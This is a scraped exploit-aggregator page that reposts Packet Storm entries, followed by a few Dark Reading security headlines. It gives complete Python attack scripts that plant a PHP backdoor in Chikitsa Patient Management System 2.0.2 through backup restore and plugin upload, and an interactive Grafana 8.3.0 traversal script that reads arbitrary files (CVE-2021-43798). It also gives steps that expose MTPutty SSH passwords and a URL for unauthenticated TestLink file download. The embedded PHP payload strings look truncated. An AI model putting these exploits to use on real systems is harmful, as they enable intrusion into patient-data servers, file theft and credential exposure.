Exploit Collector
Chikitsa Patient Management System 2.0.2 Backup Remote Code Execution

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Chikitsa Patient Management System version 2.0.2 suffers from a backup related authenticated remote code execution vulnerability.

MD5 | 27d9f9022be23e17e9a61b08c1278e0a

Download
# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
from zipfile import ZipFile
import argparse
def login(session , target , username , password):
print("[+] Attempting to login with the credential")
url = target + "/index.php/login/valid_signin"
login_data = {"username" : username , "password" : password}
session.post(url , data=login_data , verify=False)
return session
def download_backup( session , target):
print("[+] Downloading the backup (This may take some time)")
url = target + "/index.php/settings/take_backup/"
backup_req = session.get(url , verify=False)
global tmp_dir
tmp_dir = os.popen("mktemp -d").read().rstrip()
open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)
print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")
def modify_backup():
print("[+] Modifying the backup by injecting a backdoor.")
zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')
zf.extractall(tmp_dir)
zf.close()
open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php")
os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()
def upload_backup(session , target):
print("[+] Uploading the backup back into the server.(This may take some time)")
url = target + "/index.php/settings/restore_backup"
file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()
session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})
print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")
print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")
def main():
parser = argparse.ArgumentParser("""
__ _ __ _ __
_____/ /_ (_) /__(_) /__________ _
/ ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__ ) /_/ /
\___/_/ /_/_/_/|_/_/\__/____/\__,_/

Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution :
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
req_args = parser.add_argument_group('required arguments')
req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
req_args.add_argument("-u" , "--username" , help="Username" , required=True)
req_args.add_argument("-p" , "--password" , help="password", required=True)
args = parser.parse_args()

target = args.URL
if target[-1] == "/":
target = target[:-1]
username = args.username
password = args.password

session = requests.session()
login(session ,target , username , password)
download_backup(session , target )
modify_backup()
upload_backup(session , target)
if __name__ == "__main__":
main()


Source:packetstormsecurity.com

Exploit Collector
Chikitsa Patient Management System 2.0.2 Plugin Remote Code Execution

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Chikitsa Patient Management System version 2.0.2 suffers from a plugin related authenticated remote code execution vulnerability.

MD5 | ef6db80175b703f905621cde401d57b9

Download
# Exploit Title: Chikitsa Patient Management System 2.0.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
import argparse

def login(session , target , username , password):
print("[+] Attempting to login with the credential")
url = target + "/index.php/login/valid_signin"
login_data = {"username" : username , "password" : password}
session.post(url , data=login_data , verify=False)
return session

def generate_plugin():
print("[+] Generating a malicious plugin")
global tmp_dir
tmp_dir = os.popen("mktemp -d").read().rstrip()
open(f"{tmp_dir}/rce.php" , "w").write("<?php")
os.popen(f"cd {tmp_dir} && zip rce.zip rce.php").read()

def upload_plugin(session , target):
print("[+] Uploading the plugin into the server.")
url = target + "/index.php/module/upload_module/"
file = open(f"{tmp_dir}/rce.zip" , "rb").read()
session.post(url , verify=False ,files = {"extension" : ("rce.zip" , file)})
session.get(target + "/index.php/module/activate_module/rce" , verify=False)
print(f"[+] Backdoor Deployed at : {target}/application/modules/rce.php")
print(f"[+] Example Output : {requests.get(target +'/application/modules/rce.php?cmd=id' , verify=False).text}")

def main():
parser = argparse.ArgumentParser("""
__ _ __ _ __
_____/ /_ (_) /__(_) /__________ _
/ ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__ ) /_/ /
\___/_/ /_/_/_/|_/_/\__/____/\__,_/

Chikitsa Patient Management System 2.0.2 Authenticated Plugin Upload Remote Code Execution :
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
req_args = parser.add_argument_group('required arguments')
req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
req_args.add_argument("-u" , "--username" , help="Username" , required=True)
req_args.add_argument("-p" , "--password" , help="password", required=True)
args = parser.parse_args()

target = args.URL
if target[-1] == "/":
target = target[:-1]
username = args.username
password = args.password

session = requests.session()
login(session , target , username , password)
generate_plugin()
upload_plugin(session , target)

if __name__ == "__main__":
main()


Source:packetstormsecurity.com

Exploit Collector
MTPutty 1.0.1.21 SSH Password Disclosure

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
MTPutty version 1.0.1 suffers from an SSH password disclosure vulnerability.

MD5 | ae8afd1fb39130d84c7242ec85b59b8c

Download
# Exploit Title: MTPutty 1.0.1.21 - SSH Password Disclosure
# Exploit Author: Sedat Ozdemir
# Version: 1.0.1.21
# Date: 06/12/2021
# Vendor Homepage: https://ttyplus.com/multi-tabbed-putty/
# Tested on: Windows 10

Proof of Concept
================

Step 1: Open MTPutty and add a new SSH connection.
Step 2: Click double times and connect to the server.
Step 3: Run run “Get-WmiObject Win32_Process | select name, commandline |
findstr putty.exe” on powershell.
Step 4: You can see the hidden password on PowerShell terminal.


Source:packetstormsecurity.com

Exploit Collector
Grafana 8.3.0 Directory Traversal / Arbitrary File Read

https://3.bp.blogspot.com/-jrxagBWWEzc/WWlvX2ct0sI/AAAAAAAAIOc/SeYUuYsvaHQ6pP3Hky0NtyeOgPg6HpFpgCLcBGAs/s1600/h54.png
Grafana version 8.3.0 suffers from a directory traversal vulnerability that can allow for arbitrary file reading.

MD5 | 6c5e75e53691c8f37a2a3aa15b286cca

Download
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]

def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

while True:
file_to_read = input('Read file > ')

try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)

if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass

def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()

try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)


Source:packetstormsecurity.com

Exploit Collector
TestLink 1.19 Arbitrary File Download

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
TestLink versions 1.16 through 1.19 suffer from an arbitrary file download vulnerability.

MD5 | 662aeacc4ee54a2b4a00f029b7ef1784

Download
# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <=
# CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:
https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Build a Better Internal Fraud Protection Program

Fraud awareness training is just the beginning.

Dark Reading: Attacks/Breaches
LastPass Announces New Integration with Google Workspace

The latest integration furthers the company’s mission to provide an unmatched security model for businesses, without adding complexity for users.

Dark Reading: Attacks/Breaches
Why the Private Sector Is Key to Stopping Russian Hacking Group APT29

Left unchecked, these attacks could have devastating effects on government and military secrets and jeopardize the software supply chain and the global economy.

Dark Reading: Attacks/Breaches
One-Third of Phishing Pages Gone in a Day

Security experts say the first hours in a phishing page's life are the most dangerous for users.